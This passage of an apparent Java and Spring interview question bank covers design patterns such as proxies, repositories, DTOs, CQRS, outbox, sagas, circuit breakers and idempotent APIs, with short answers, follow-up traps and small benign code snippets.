- Proxy: AOP for `@Transactional`, `@Cacheable`, `@Async`, Spring Data repositories.
- Observer: `ApplicationEvent` and `@EventListener`.
- Strategy: `PasswordEncoder`, `HandlerMapping`, `ResourceLoader`.
- Adapter: `HandlerAdapter`, `HttpMessageConverter`, `JpaVendorAdapter`.
- Singleton: default bean scope.
- Decorator: `BeanPostProcessor` wrappers, request wrappers.
- Chain of Responsibility: security filter chain, interceptors.
- Front Controller: `DispatcherServlet`.

FOLLOW-UP TRAPS

- **Is `DispatcherServlet` a facade?** It is the Front Controller, routing to handlers; some call it a mediator.
- **Which pattern implements `@Transactional`?** Proxy with Around advice (Decorator-like) delegating to a transaction manager (Strategy).

#spring #patterns #summary

Q28 Why do self-invocations bypass Spring proxies?

ADVANCED

Proxy-based AOP intercepts calls entering through the proxy object. A call to `this.otherMethod()` inside the target goes straight to the real object, so `@Transactional`, `@Cacheable` and `@Async` on the callee are skipped.

- Fixes: move the method to another bean, inject the bean into itself via `ObjectProvider`/`@Lazy`, use `AopContext.currentProxy()`, or switch to AspectJ weaving.
- Same applies to `private`, `final` and (for JDK proxies) non-interface methods.

FOLLOW-UP TRAPS

- **Does `@Transactional` on a `protected` method work?** With class-based proxies in Spring 6 yes; earlier versions required `public`.
- **Does AspectJ weaving have the problem?** No, advice is woven into bytecode.

#proxy #spring-aop #pitfalls

Q29 What is the Repository pattern and how does it differ from DAO?

INTERMEDIATE

A Repository gives collection-like access to aggregate roots in domain terms (`orders.findById`, `orders.add`), hiding persistence. A DAO is a lower-level table-oriented gateway exposing CRUD operations on a data source.

- Repository comes from DDD: one per aggregate root, returns domain objects, speaks the ubiquitous language.
- DAO maps closely to tables or entities and is a data-access abstraction.
- Spring Data `JpaRepository` is a repository abstraction generated via proxies; a plain `EntityManager` wrapper is closer to DAO.

FOLLOW-UP TRAPS

- **Repository per entity?** In DDD it is per aggregate root, not per table.
- **Should repositories contain business logic?** No, only query and persistence concerns.

#repository #dao #ddd

Q30 What is a DTO and why separate it from the entity?

BASIC

A DTO (Data Transfer Object) is a plain data carrier shaped for a boundary such as a REST response. Separating it from the JPA entity decouples the API contract from the database schema and avoids leaking lazy associations, internal fields and bidirectional cycles.

- Use records (Java 16+) for immutable DTOs.
- Map with MapStruct or manual mappers; Spring Data supports interface/class projections to load only needed columns.
- Return DTOs from controllers to avoid `LazyInitializationException` and accidental over-exposure (for example password hashes).

FOLLOW-UP TRAPS

- **Is DTO the same as VO?** In Java usage a value object is immutable and compared by value; a DTO is a transfer shape with no behavior.
- **Costs?** Extra mapping code; justified at public API boundaries.

#dto #layering #api

Q31 What is the Unit of Work pattern and how does JPA implement it?

ADVANCED

Unit of Work tracks changes to objects during a business transaction and writes them together at commit. The JPA persistence context does this: managed entities are tracked and dirty ones are flushed as SQL on commit or flush.

- Along with an identity map: within one persistence context the same row yields the same instance.
- `@Transactional` defines the unit's boundary; `EntityManager.flush()` forces writes early.

FOLLOW-UP TRAPS

- **Do you need to call `save` for a managed entity change?** No, dirty checking flushes it at commit.
- **What breaks the identity map?** Detached entities or different persistence contexts.

#unit-of-work #jpa #persistence-context

Q32 What is CQRS?

INTERMEDIATE

Command Query Responsibility Segregation separates the write model (commands that change state) from the read model (queries returning data), allowing each to be optimized and scaled independently.

- Simple form: separate command and query services sharing one database.
- Advanced form: separate stores, with read models (denormalized tables, Elasticsearch, Redis) updated from events asynchronously.
- Cost: eventual consistency between sides, more code, and duplicated models.

FOLLOW-UP TRAPS

- **Does CQRS require event sourcing?** No; they pair well but are independent.
- **Is read-your-writes guaranteed?** Not with an asynchronous read side.

#cqrs #architecture

Q33 What is Event Sourcing and how does it relate to CQRS?

ADVANCED

Event Sourcing stores state as an append-only sequence of domain events; current state is derived by replaying events (optionally from snapshots). Projections build read models for the query side of CQRS.

- Gives a complete audit trail and temporal queries.
- Challenges: event schema evolution (upcasting), replay time, GDPR deletion, and eventual consistency.

FOLLOW-UP TRAPS

- **Can you update an event?** No, events are immutable; correct with compensating events.
- **When is it a bad fit?** Simple CRUD domains with no audit or temporal needs.

#event-sourcing #cqrs

Q34 What is the Transactional Outbox pattern? ADVANCED

Outbox solves the dual-write problem: instead of updating the database and publishing to a broker separately, write the business change and an outbox row in one local transaction; a relay later publishes outbox rows to the broker.

- Relay options: polling publisher, or CDC (Debezium) tailing the DB log.
- Delivery is at-least-once, so consumers must be idempotent.
- Table typically has id, aggregate id, type, payload, created_at, published flag.

FOLLOW-UP TRAPS

- **Why not publish inside the transaction?** If the commit fails after publishing (or vice versa) the two systems diverge.
- **Does outbox give exactly-once?** No, at-least-once plus idempotent consumers.

#outbox #messaging #consistency

Q35 What is the Saga pattern? ADVANCED

A saga is a sequence of local transactions across services, where each step has a compensating action to undo it if a later step fails. It replaces distributed 2PC with eventual consistency.

- Choreography: services react to each other's events; simple but hard to follow with many steps.
- Orchestration: a central coordinator issues commands and tracks state; clearer, but a coordinator to maintain.
- Compensations are semantic undo (refund, release stock), not rollbacks, and must be idempotent and retriable.

FOLLOW-UP TRAPS

- **Is a saga isolated?** No, intermediate states are visible; use semantic locks or pending statuses.
- **What if a compensation fails?** Retry until success or escalate to manual handling.

#saga #distributed-transactions

Q36 How does the Circuit Breaker pattern work? INTERMEDIATE

A circuit breaker wraps calls to a remote dependency and tracks failures. States: CLOSED (calls flow), OPEN (calls fail fast), HALF_OPEN (a few trial calls decide whether to close again).

- Opens when failure or slow-call rate crosses a threshold in a sliding window; waits `waitDurationInOpenState` before half-open.
- Libraries: Resilience4j (`@CircuitBreaker`), Spring Cloud CircuitBreaker; Hystrix is retired.
- Combine with timeouts, retries with backoff, bulkheads and fallbacks.

FOLLOW-UP TRAPS

- **Does a breaker replace timeouts?** No, without timeouts calls hang before they even count as failures.
- **Should business errors (HTTP 400) trip it?** Usually not; configure ignored exceptions.

#circuit-breaker #resilience

Q37 What are Bulkhead and Retry patterns, and how do they interact with circuit breakers? INTERMEDIATE

Bulkhead isolates resources per dependency (separate thread pools or semaphores) so one slow service cannot exhaust all threads. Retry repeats transient failures, ideally with exponential backoff and jitter.

- Order of decorators in Resilience4j aspects: Retry(CircuitBreaker(RateLimiter(TimeLimiter(Bulkhead(fn))))).
- Retry only idempotent operations, or use idempotency keys.
- Retry storms multiply load on a struggling service; cap attempts and add jitter.

FOLLOW-UP TRAPS

- **Should you retry non-idempotent POSTs?** Only with an idempotency key.
- **Is retry inside or outside the breaker?** Retry wraps the breaker so that an open circuit short-circuits retries quickly.

#bulkhead #retry #resilience

Q38 What is idempotency and how do you implement idempotent APIs? INTERMEDIATE

An operation is idempotent if repeating it has the same effect as doing it once. GET, PUT, DELETE are idempotent by HTTP semantics; POST is not, so APIs accept an `Idempotency-Key` header.

- Store key plus request fingerprint and response in a table with a unique constraint; on replay return the stored response.
- Use `INSERT ... ON CONFLICT DO NOTHING` or unique index to make the check atomic.
- Expire keys after a retention window.

FOLLOW-UP TRAPS

- **Same key with a different body?** Reject with 409/422; it signals a client bug.
- **Is a check-then-insert in application code safe?** No, race conditions; rely on a unique constraint.

#idempotency #api #reliability

Q39 What is the Specification pattern? INTERMEDIATE

A Specification encapsulates a business rule as an object that answers `isSatisfiedBy(candidate)` and can be combined with and/or/not. It keeps query and validation criteria reusable.

- Spring Data JPA `Specification<T>` builds dynamic `Criteria` predicates and composes with `and()` / `or()`.
- Useful for search filters with optional parameters.

FOLLOW-UP TRAPS

- **Why not stack optional `if` clauses in a JPQL string?** Hard to compose and test and prone to injection or syntax errors.
- **Does it avoid N+1?** No, fetch strategy is separate.

#specification #query #ddd

Q40 What is the Null Object pattern? BASIC

A Null Object implements the interface with neutral do-nothing behavior so callers need not check for `null`.

- Examples: `Collections.emptyList()`, `Optional.empty()`, `NoOpCacheManager`, a `NoopMetrics` implementation.
- Use `Optional` for return types that may be absent; use Null Object where a collaborator is optional.
- Avoid when silent no-op hides an actual error.

FOLLOW-UP TRAPS

- **Should `Optional` be a field or parameter?** Generally no; use it as a return type.
- **Does Null Object hide bugs?** It can; log or assert in critical paths.

#null-object #optional

Q41 Compare patterns with their functional alternatives in modern Java. INTERMEDIATE

Many behavioral patterns shrink to functions when the participant has one method.

- Strategy: `Function` / `Comparator` lambda instead of a class hierarchy.
- Command: `Runnable` / `Callable` / `Supplier`.
- Template Method: pass step functions or use callbacks (`JdbcTemplate` row mappers).
- Observer: `Consumer` listeners or `Flow.Subscriber`.
- Decorator: function composition (`Function.andThen`, `Predicate.and`).
- Visitor: sealed types plus pattern-matching `switch`.
- Builder: records with `with`-style copy methods.

Keep classes when behavior needs state, names, several methods, or independent testing and discoverability.

FOLLOW-UP TRAPS

- **Are lambdas always better?** No, a named class documents intent and can be injected, configured, and given identity.
- **Lambda capturing mutable state?** Captured locals must be effectively final; mutable shared captures create races.

#functional #lambdas #patterns

Q42 What are common design pattern anti-patterns? INTERMEDIATE

- God object: one class doing everything.
- Anemic domain model: entities with only getters/setters and all logic in services.
- Singleton abuse: global mutable state.
- Service Locator: hidden dependencies via static lookup.
- Golden hammer: applying one pattern everywhere.
- Spaghetti code and lava flow: tangled or dead code left in place.
- Premature abstraction: interfaces with single implementations and factories for trivial objects.
- Distributed monolith: microservices that must deploy together.
- Shared database across services.

FOLLOW-UP TRAPS

- **Is the anemic model always bad?** Not for simple CRUD; it hurts when rich invariants exist.
- **Is an interface per class an anti-pattern?** Often needless indirection; add the interface when a second implementation or a seam is needed.

#anti-patterns #design

Q43 Explain SOLID briefly with a backend example for each principle. BASIC

- S, Single Responsibility: separate order pricing from order persistence.
- O, Open/Closed: add a new payment method by adding a class, not editing a switch.
- L, Liskov Substitution: subclasses must honor the base contract (a read-only list that throws on `add` violates it).
- I, Interface Segregation: small role interfaces instead of a fat `Repository`.
- D, Dependency Inversion: services depend on `PaymentGateway`, not on `StripeClient`.

FOLLOW-UP TRAPS

- **Is `Collections.unmodifiableList` an LSP violation?** Arguably yes, since `List` permits mutation operations as optional; hence the immutable `List.of` still throws.
- **DIP vs DI?** DIP is the design principle; DI is a technique to realize it.

#solid #principles

Q44 How do Spring Data repositories work internally? ADVANCED

Spring creates a JDK proxy for each repository interface at startup. Calls route to `SimpleJpaRepository` for CRUD methods and to query lookup strategies for derived names and `@Query` methods, all wrapped in transactional interceptors.

- Method names like `findByEmailAndActiveTrue` are parsed into a `PartTree` and converted to criteria queries.
- Default repository methods are `@Transactional(readOnly = true)` for reads and `@Transactional` for writes.

FOLLOW-UP TRAPS

- **Is there an implementation class you wrote?** No, only the interface (plus optional custom fragments).
- **Which patterns combined?** Proxy, Repository, Strategy for query lookup, and Template Method in the base class.

#spring-data #proxy #repository

Q45 What is the Mediator pattern and how does it differ from Observer? INTERMEDIATE

Mediator centralizes communication between components so they interact with the mediator instead of each other, reducing many-to-many coupling.

- Examples: `DispatcherServlet` mediating controllers and views, `ApplicationEventPublisher` as an event bus, in-app command buses.
- Observer defines a subject-to-many direction; Mediator coordinates two-way interactions and may contain routing logic.

FOLLOW-UP TRAPS

- **Risk?** The mediator can become a god object.
- **Mediator vs message broker?** A broker is a distributed, durable mediator.

#mediator #behavioral

Q46 What is the Iterator pattern and how does it appear in Java? BASIC

Iterator provides sequential access to a collection's elements without exposing its representation. In Java: `Iterator<E>`, `Iterable` for the for-each loop, and `Stream` for pipelines.

- Custom collections implement `Iterable<T>` and return an `Iterator` with `hasNext` / `next`.
- Most JDK iterators are fail-fast and throw `ConcurrentModificationException` on structural changes outside the iterator.

FOLLOW-UP TRAPS

- **Can you reuse a Stream like an Iterable?** No, a stream is consumed once.
- **Does `Iterator.remove()` work safely?** Yes, it is the sanctioned way to remove during iteration.

#iterator #behavioral

Q47 What is the Memento and Snapshot idea in backend systems?

ADVANCED

Memento captures an object's internal state externally so it can be restored later without breaking encapsulation. In backends this appears as aggregate snapshots in event sourcing, saga state persistence and undo/audit versions.

- A snapshot is stored every N events to bound replay time.
- Keep mementos immutable; the originator creates and restores them, other classes treat them as opaque.

FOLLOW-UP TRAPS

- **Memento vs serialization?** Serialization can implement a memento but also exposes internals if misused.
- **Memory cost?** Large or frequent snapshots grow quickly; prune them.

#memento #snapshot #event-sourcing

Q48 What is the Front Controller pattern?

BASIC

A single handler receives all requests and dispatches them to appropriate handlers, centralizing cross-cutting concerns such as security and routing. Spring MVC's `DispatcherServlet` is the canonical implementation.

- Flow: `HandlerMapping` finds the handler, `HandlerAdapter` invokes it, `HttpMessageConverter` or `ViewResolver` renders the result, and exception resolvers handle errors.
- Interceptors and filters wrap this flow.

FOLLOW-UP TRAPS

- **Is there one `DispatcherServlet` per app?** Typically one, though multiple can be registered.
- **Filter vs interceptor?** Filters are servlet-level and see raw requests; interceptors are Spring MVC-level and know the handler.

#front-controller #spring-mvc

Q49 What is the Flyweight pattern and where is it in the JDK?

INTERMEDIATE

Flyweight shares immutable intrinsic state among many objects to save memory, keeping extrinsic state outside.

- JDK: the `Integer.valueOf` cache for -128..127, the `String` pool, `Boolean.TRUE`, enum constants.
- Backend: caching immutable reference data such as currency or country objects instead of loading them per request.

FOLLOW-UP TRAPS

- **Why does `Integer a=127, b=127; a==b` hold but not for 128?** The cache covers -128 to 127; beyond that new objects are created.
- **Can flyweights be mutable?** No, sharing requires immutability.

#flyweight #structural #memory

Q50 How does the Gateway/Anti-Corruption Layer pattern protect your domain?

ADVANCED

An Anti-Corruption Layer translates between your domain model and an external or legacy model, so the foreign concepts and naming never leak in. It combines Adapter, Facade and mappers.

- Implement as a `CustomerGateway` interface in the domain with an implementation that calls the legacy API and converts its DTOs.
- Isolates changes: a vendor API version bump touches only the ACL.

FOLLOW-UP TRAPS

- **Is it overkill for a tiny integration?** Possibly; the benefit grows with the foreign model's size and volatility.
- **Where should the interface live?** In your domain layer (dependency inversion), with the implementation in infrastructure.

#gateway #acl #ddd #adapter

Q51 What is the Builder vs Factory vs Prototype decision rule? BASIC

- Factory: choose which type to create based on input, hiding the constructor.
- Builder: assemble one complex object step by step with many optional parts.
- Prototype: copy an existing configured instance.
- Abstract Factory: create consistent families of objects.
- Singleton: guarantee exactly one instance.

FOLLOW-UP TRAPS

- **Can a builder and factory be combined?** Yes, a factory can return a pre-configured builder.
- **Telescoping constructors versus builder?** Builder wins beyond about four parameters, especially optional ones.

#creational #comparison

Q52 Why does the Double-Checked Locking pattern need `volatile`, and what is safe publication? ADVANCED

`instance = new Config()` involves allocate, construct, assign the reference. Without a happens-before edge the JIT or CPU may publish the reference before construction finishes, so another thread sees a half-built object. `volatile` forbids that reordering.

- Immutable objects with only `final` fields are safely published even through a data race (final field semantics).
- Other safe publication: static initializers, `synchronized`, `volatile`, or concurrent collections.

FOLLOW-UP TRAPS

- **Does `final` on all fields remove the need for `volatile`?** For visibility of that object's fields, yes, but publication still races on which reference is seen (null vs non-null), which is harmless for the pattern.
- **Is holder idiom preferable?** Usually, since it needs no explicit synchronization.

#singleton #jmm #safe-publication

Scenarios

Q53 Your lazily initialized singleton occasionally returns an object with null fields under load. What is wrong? INTERMEDIATE

Almost certainly double-checked locking without `volatile`: a thread sees a non-null reference before the constructor's writes are visible. Mark the field `volatile`, or switch to the holder idiom or an eager `static final`.

- It reproduces rarely and only on multi-core hardware or after JIT optimization, which is why it passes tests.

FOLLOW-UP TRAPS

- **Would adding `synchronized` to the constructor help?** No, the race is on publication of the reference, not inside the constructor.
- **Does making the fields `final` fix it?** It guarantees field visibility but `volatile` or the holder is still cleaner.

#singleton #concurrency #debugging

Q54 A Spring singleton service stores the current user in a field and users see each other's data. Why, and what is the fix? BASIC

Singleton beans are shared by every request thread, so a mutable field is shared state. Remove the field and pass the user as a method parameter or read it from `SecurityContextHolder`; for per-request state use a request-scoped bean with a scoped proxy.

- `ThreadLocal` works but must be cleared in `finally` on pooled threads.

FOLLOW-UP TRAPS

- **Does marking the method `synchronized` fix it?** It serializes requests and still shares state incorrectly.
- **What about virtual threads?** The same sharing problem; `ThreadLocal` is supported but heavy use is discouraged, prefer `ScopedValue` (preview in 21).

#spring #singleton #thread-safety

Q55 You have a payment flow with Stripe, PayPal and a bank transfer, plus a growing if/else on the provider name. Which pattern, and how in Spring? BASIC

Strategy with a registry. Define `PaymentProvider` with `String id()` and `charge(...)`, implement per provider as beans, and inject `List<PaymentProvider>` or `Map<String, PaymentProvider>` into a router that picks by id.

```
@Service
class PaymentRouter {
    private final Map<String, PaymentProvider> byId;
    PaymentRouter(List<PaymentProvider> all) {
        byId = all.stream().collect(Collectors.toMap(PaymentProvider::id, p -> p));
    }
    PaymentProvider forId(String id) {
        var p = byId.get(id);
        if (p == null) throw new IllegalArgumentException("Unknown provider " + id);
        return p;
    }
}
```

Adding a provider means adding a bean; no existing code changes.

FOLLOW-UP TRAPS

- **Duplicate ids?** `toMap` throws `IllegalStateException` at startup, which fails fast.
- **Can Spring inject by bean name instead?** Yes via `Map<String, PaymentProvider>`, where keys are bean names.

#strategy #spring #open-closed

Q56 A report builder has 14 constructor parameters, 9 optional. Callers pass wrong arguments in wrong order. What do you do? BASIC

Introduce a Builder (or a record with a compact constructor plus a builder) with named setters, defaults for optional fields, and validation in `build()`. Group related params into value objects (`DateRange`, `Paging`) first; fewer parameters often removes the need.

FOLLOW-UP TRAPS

- **Why not setters on a mutable object?** The object can be observed half-configured and is not thread-safe.
- **Lombok `@Builder` with required fields?** It does not enforce them by default; validate in a custom `build()` or constructor.

#builder #refactoring

Q57 **Product wants audit logging, metrics and caching around an existing `PriceService` without touching its code. Which pattern and tradeoffs?** INTERMEDIATE

Decorators (one wrapper per concern implementing `PriceService`) or Spring AOP aspects for cross-cutting concerns applied declaratively. Use explicit decorators when behavior is specific to one interface and order must be visible; use aspects when the same concern applies to many beans.

- Order matters: caching outside audit logs hits only on misses; metrics outside caching includes cache hits.
- Spring: `@Order` on aspects or `@Primary` on the outermost decorator.

> **FOLLOW-UP TRAPS**
> - **Aspect not firing on internal calls?** Self-invocation bypasses the proxy.
> - **Will `@Cacheable` apply to a `private` method?** No.

#decorator #proxy #aop

Q58 **After adding `@Transactional` to a method called from another method in the same class, no transaction is created. Why?** INTERMEDIATE

Self-invocation bypasses the Spring proxy, so the interceptor never runs. Extract the method to a separate bean, or inject the proxy via `@Lazy` self-reference, or use `TransactionTemplate` programmatically.

> **FOLLOW-UP TRAPS**
> - **Expected behaviour of `REQUIRES_NEW` in same class call?** Ignored for the same reason; it joins whatever outer transaction exists.
> - **Does it work if the caller is in another bean?** Yes, because the call goes through the proxy.

#proxy #spring #transactional

Q59 **`this` inside a bean differs from the injected reference and `==` comparisons fail. Explain.** ADVANCED

Injected references are proxies; `this` is the raw target. `proxy == this` is false and `proxy.equals(this)` depends on implementation. Avoid identity comparisons on beans, and compare by id or business key.

- `AopProxyUtils.getSingletonTarget` or `AopUtils.isAopProxy` reveal proxies.
- Hibernate entity proxies have the same issue: use `Hibernate.unproxy` or compare by id, and avoid `getClass()` in `equals`.

> **FOLLOW-UP TRAPS**
> - **Does `getClass()` equal the target class on a CGLIB proxy?** No, it returns a generated subclass (`Foo$$SpringCGLIB$$0`).
> - **Why does `instanceof` still work?** CGLIB proxy extends the target class.

#proxy #spring-aop #identity

Q60 **Your `@Async` method runs synchronously. What pattern-level reasons exist?** INTERMEDIATE

Typical causes: self-invocation, missing `@EnableAsync`, calling a `private`/`final` method, or the bean being created outside Spring (`new`). `@Async` is applied via a proxy that submits the call to a `TaskExecutor`.

- Provide a bounded executor bean; the default `SimpleAsyncTaskExecutor` creates a thread per task (Spring Boot auto-configures a pooled `applicationTaskExecutor`).

> **FOLLOW-UP TRAPS**
> - **Does the exception propagate to the caller?** Not for `void` methods; use `AsyncUncaughtExceptionHandler` or return `CompletableFuture`.
> - **Does the transaction context carry over?** No, the new thread has no transaction.

#proxy #async #spring

Q61 A downstream inventory service is slow; your threads pile up and the whole API goes down. What patterns apply?

INTERMEDIATE

Layer protections: client timeouts (connect and read), a circuit breaker to fail fast, a bulkhead to cap concurrent calls to that dependency, and a fallback (cached or degraded response).

```
resilience4j:
  circuitbreaker:
    instances:
      inventory:
        slidingWindowSize: 20
        failureRateThreshold: 50
        waitDurationInOpenState: 10s
  bulkhead:
    instances:
      inventory:
        maxConcurrentCalls: 10
```

FOLLOW-UP TRAPS

- **Why not just retry?** Retries add load to an already degraded service.
- **Fallback that calls another service?** It may cascade failure; keep fallbacks local and cheap.

#circuit-breaker #bulkhead #timeout

Q62 Your order service saves an order then publishes `OrderCreated` to Kafka; sometimes the event is lost or sent for a rolled-back order. Fix it.

ADVANCED

Use the Transactional Outbox: insert the order and an `outbox` row in the same DB transaction; a poller or Debezium CDC publishes rows to Kafka and marks them sent. Consumers dedupe by event id.

```
CREATE TABLE outbox (
  id UUID PRIMARY KEY, aggregate_id VARCHAR(64) NOT NULL,
  type VARCHAR(64) NOT NULL, payload JSONB NOT NULL,
  created_at TIMESTAMP NOT NULL DEFAULT now(), published_at TIMESTAMP NULL);
```

FOLLOW-UP TRAPS

- **Would `@TransactionalEventListener(AFTER_COMMIT)` suffice?** No, a crash after commit but before the send loses the event.
- **Ordering per aggregate?** Partition Kafka by aggregate id and publish outbox rows in id/created order.

#outbox #kafka #consistency

Q63 A checkout spans order, payment, and inventory services each with their own DB. Choose and justify an approach.

ADVANCED

Use an orchestrated saga: Order service starts, reserves inventory, charges payment; on failure it issues compensations (release stock, cancel order). Orchestration is preferable with 3+ steps because the flow and failure paths are explicit and observable.

- Each step is a local transaction plus outbox event; every command and compensation is idempotent.
- Model intermediate states (`PENDING`, `RESERVED`, `PAID`, `CANCELLED`) to expose in-flight status.
- Avoid 2PC/XA: low availability and poor broker/NoSQL support.

FOLLOW-UP TRAPS

- **Payment succeeded but the reply was lost?** Orchestrator retries with the same idempotency key and payment returns the earlier result.
- **Can you "roll back" an email sent in step 2?** No, design order of steps so irreversible actions come last.

#saga #distributed-transactions

Q64 Clients retry `POST /payments` after timeouts and customers are double charged. How do you fix it?

INTERMEDIATE

Require an `Idempotency-Key` header. In one transaction insert the key (unique constraint) with status `IN_PROGRESS`, execute, then store the response. Replays with a completed key return the stored response; concurrent duplicates get 409 or wait.

```
try {
    keys.insert(key, requestHash);        // unique(key)
} catch (DuplicateKeyException e) {
    return keys.find(key).responseOrConflict(requestHash);
}
```

Also pass the key to the payment provider, which supports its own idempotency.

FOLLOW-UP TRAPS

- **Process crashes between charge and storing response?** Idempotency key at the provider makes the retry safe.
- **How long to keep keys?** Longer than the maximum client retry horizon, commonly 24 hours or more.

#idempotency #payments

Q65 A Kafka consumer processes the same message twice after a rebalance. How do you keep side effects correct?

INTERMEDIATE

Assume at-least-once delivery and make the handler idempotent: store processed message ids in the same transaction as the business change (unique constraint), or design updates as upserts or absolute-state writes rather than increments.

FOLLOW-UP TRAPS

- **Does Kafka exactly-once semantics remove this?** It covers Kafka-to-Kafka with transactions; external DB or API side effects still need idempotency.
- **Commit offset before or after processing?** After, to avoid loss; duplicates are then handled by idempotency.

#idempotency #kafka #consumer

Q66 A controller returns JPA entities and sometimes throws `LazyInitializationException` or leaks `passwordHash`. What do you change?

BASIC

Return DTOs (records) built in the service layer inside the transaction, or use projections to select only needed fields. Never expose entities across the API boundary.

```
record UserView(Long id, String email) {}
interface UserRepo extends JpaRepository<User, Long> {
    List<UserView> findByActiveTrue();
}
```

FOLLOW-UP TRAPS

- **Does `spring.jpa.open-in-view=false` solve leaking?** It prevents lazy loading in the view layer but not over-exposure.
- **`@JsonIgnore` on entity?** Works but couples persistence and API concerns.

#dto #jpa #api

Q67 Reads dominate (95%) and a complex report query is slowing writes on the same tables. Which pattern?

ADVANCED

CQRS with a denormalized read model: keep writes on the normalized transactional tables, and project events (via outbox/CDC) into a read store such as a materialized view, replica, Elasticsearch or Redis. Start with read

replicas or materialized views before full separation.

- Accept eventual consistency and communicate it in the UX (for example "updating...").
- Rebuildable projections let you reshape read models later.

> **FOLLOW-UP TRAPS**
> - **User saves then immediately reads stale data?** Read from the write side for that session or use version/etag waits.
> - **When is CQRS overkill?** Simple CRUD with modest load.

#cqrs #read-model #scaling

Q68 **You must support 5 notification channels with different retry rules but a common flow (build message, send, record). Pattern?** INTERMEDIATE

Template Method for the fixed flow with channel-specific hooks, or better, composition: a `NotificationService` with the flow, and a `ChannelSender` strategy per channel exposing `send` and `retryPolicy()`. Prefer composition because channels vary in more than one dimension.

> **FOLLOW-UP TRAPS**
> - **When is Template Method still right?** When the skeleton is stable and variation is only in a few protected steps.
> - **Spring-friendly wiring?** Inject `List<ChannelSender>` and index by channel.

#template-method #strategy

Q69 **A rules engine evaluates hundreds of nested business conditions (AND/OR/NOT). How do you structure it?** INTERMEDIATE

Composite plus Specification: a `Rule` interface with `AndRule`, `OrRule`, `NotRule` composites and leaf rules. Rules are data-driven (loaded from config), testable individually, and evaluated recursively. With `Predicate<T>` you get `and/or/negate` for free.

> **FOLLOW-UP TRAPS**
> - **Short-circuit evaluation?** `allMatch/anyMatch` stop early; keep rules side-effect free.
> - **Deeply nested configs?** Add a depth limit to prevent stack overflow.

#composite #specification

Q70 **A legacy SOAP vendor returns awkward models; the codebase is filling with their field names. What do you do?** INTERMEDIATE

Introduce an anti-corruption layer: a domain-owned interface (`ShippingGateway`) with an adapter in infrastructure that calls the SOAP client and maps vendor DTOs to domain types. Business code never imports vendor classes.

> **FOLLOW-UP TRAPS**
> - **Mapping overhead worth it?** Yes when the vendor model is large or unstable; you can swap vendors by replacing one adapter.
> - **How to test?** Contract tests against the adapter and fake gateway in service tests.

#adapter #acl #integration

Q71 **An approval workflow has states DRAFT, SUBMITTED, APPROVED, REJECTED with a switch scattered across 12 methods. Refactor.** INTERMEDIATE

Replace conditionals with State: an enum or sealed state types that own allowed transitions and behavior. The aggregate holds the state and delegates `submit()`, `approve()`; illegal transitions throw a domain exception.

- Persist as `@Enumerated(EnumType.STRING)`, not ordinal.

- For complex flows with guards and events, consider Spring Statemachine.

> **FOLLOW-UP TRAPS**
> - **Why `EnumType.STRING`?** Reordering enum constants changes ordinals and corrupts data.
> - **Concurrent transitions?** Use optimistic locking (`@Version`) so two actors cannot both transition.

#state #refactoring #enum

Q72 **You need undo/redo and a persisted audit of admin actions. Which pattern?** INTERMEDIATE

Command: model each action as a command object with `execute()` and `undo()` (or a compensating command), persist command records with actor, time and payload, and store inverse data needed to undo.

> **FOLLOW-UP TRAPS**
> - **Undo for external side effects?** Only possible via compensating actions; some operations (sent email) cannot be undone.
> - **Event sourcing alternative?** Gives audit and replay by design but at higher complexity.

#command #audit

Q73 **A servlet application needs request logging, auth, rate limiting, and CORS in a configurable order. Pattern and Spring tool?** BASIC

Chain of Responsibility via servlet filters or a Spring Security `SecurityFilterChain`. Each filter does its work and calls `chain.doFilter`. Control order using `FilterRegistrationBean.setOrder` or `@Order`.

> **FOLLOW-UP TRAPS**
> - **Filter forgot `chain.doFilter`?** The request hangs or returns an empty response; the rest of the chain never runs.
> - **CORS after auth?** CORS preflight must be handled before authentication or it gets 401.

#chain-of-responsibility #filters

Q74 **Many components must react when an order is paid (email, loyalty points, analytics). The order service imports all of them. Fix.** BASIC

Publish an `OrderPaidEvent` via `ApplicationEventPublisher`; each component has an `@EventListener` (or `@TransactionalEventListener(AFTER_COMMIT)`). The order service no longer knows the subscribers.

- For cross-service delivery use a broker (outbox plus Kafka).
- Use `@Async` for slow listeners and handle their errors.

> **FOLLOW-UP TRAPS**
> - **A listener throws, what happens to the payment transaction?** With a plain synchronous `@EventListener`, the exception propagates and can roll back the publisher's transaction.
> - **AFTER_COMMIT listener writes to DB?** Needs `REQUIRES_NEW`, because the original transaction is already completed.

#observer #events #decoupling

Q75 **You must open a connection per tenant database and pick the right one per request. Which patterns and how?** ADVANCED

Strategy for tenant resolution (header, subdomain, JWT claim) plus a routing data source: `AbstractRoutingDataSource` looks up the tenant key (stored in a `ThreadLocal`/request scope) and returns the matching `DataSource`, a Factory/registry creating pools lazily.

- Clear the tenant context in `finally`; otherwise pooled threads leak the previous tenant.
- Bound the number of pools (Hikari per tenant is costly); prefer schema or discriminator column at scale.

FOLLOW-UP TRAPS

- **Async tasks lose the tenant?** Yes, propagate context with a `TaskDecorator`.
- **Risk of cross-tenant leakage?** High if context is not reset; add integration tests for it.

#strategy #factory #multitenancy

Q76 **A prototype-scoped bean injected into a singleton always returns the same instance. Why?** INTERMEDIATE

The singleton is created once, so its injection point is resolved once. Inject `ObjectProvider<MyPrototype>` and call `getObject()` per use, or use `@Lookup`, or a scoped proxy.

FOLLOW-UP TRAPS

- **Does `@Scope("prototype")` bean get destroyed by Spring?** No, `@PreDestroy` is not called.
- **Is `Provider<T>` (JSR-330) acceptable?** Yes, it works equivalently.

#prototype #spring #scopes

Q77 **Writing JDBC code, developers forget to close connections. Which pattern fixes the root cause?** BASIC

Template Method/callback: `JdbcTemplate` acquires and releases connections, statements and result sets and translates exceptions; you only supply SQL and a `RowMapper`. Plain JDBC alternative is try-with-resources.

```
List<String> names = jdbc.query("select name from users where active = ?",
    (rs, i) -> rs.getString("name"), true);
```

FOLLOW-UP TRAPS

- **Does `JdbcTemplate` hold connections between calls?** No, it borrows from the pool per operation or uses the transaction-bound connection.
- **Checked `SQLException`?** Translated to unchecked `DataAccessException` hierarchy.

#template-method #jdbc #resources

Q78 **A team creates `UserServiceImpl` as the lone implementation of `UserService` for every service. Opinion?** INTERMEDIATE

Single-implementation interfaces by habit add navigation overhead without benefit. Introduce an interface when you need a seam: multiple implementations, a boundary (ports and adapters), or test doubles that cannot be done with a mock of the class.

- Mockito can mock classes, so testing alone no longer justifies interfaces.
- Keep interfaces at module boundaries and for strategies.

FOLLOW-UP TRAPS

- **Do Spring proxies need interfaces?** No, CGLIB handles classes (default in Boot).
- **Is it wrong for public library APIs?** There an interface helps evolution and compatibility.

#anti-patterns #abstraction

